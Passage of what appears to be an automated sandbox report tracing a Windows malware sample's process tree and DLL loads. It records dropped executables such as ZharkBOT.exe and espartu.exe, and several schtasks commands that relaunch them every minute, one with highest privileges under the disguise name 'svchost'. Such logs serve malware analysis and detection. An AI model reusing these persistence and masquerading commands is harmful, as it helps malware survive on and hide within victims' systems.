Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe "C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe"
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Process created: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe "C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe "C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000241001\see.exe "C:\Users\user\AppData\Local\Temp\1000241001\see.exe"
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe "C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe"
Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Process created: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe"
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Process created: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe"
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /create /SC MINUTE /MO 1 /TN "svchost" /tr "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" /rl HIGHEST /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe "C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process created: C:\Windows\SysWOW64\schtasks.exe
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe "C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe "C:\Users\user\AppData\Local\Temp\1000202001\hello.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe "C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe "C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe "C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000241001\see.exe "C:\Users\user\AppData\Local\Temp\1000241001\see.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe "C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe "C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe "C:\Users\user\AppData\Roaming\VP2pdCInvS.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6472 -ip 6472	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6472 -s 284	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Process created: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe "C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"
Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F
Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Process created: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe"
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Process created: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe"
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /create /SC MINUTE /MO 1 /TN "svchost" /tr "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" /rl HIGHEST /f
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe "C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process created: C:\Windows\SysWOW64\schtasks.exe

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: rsaenh.dll
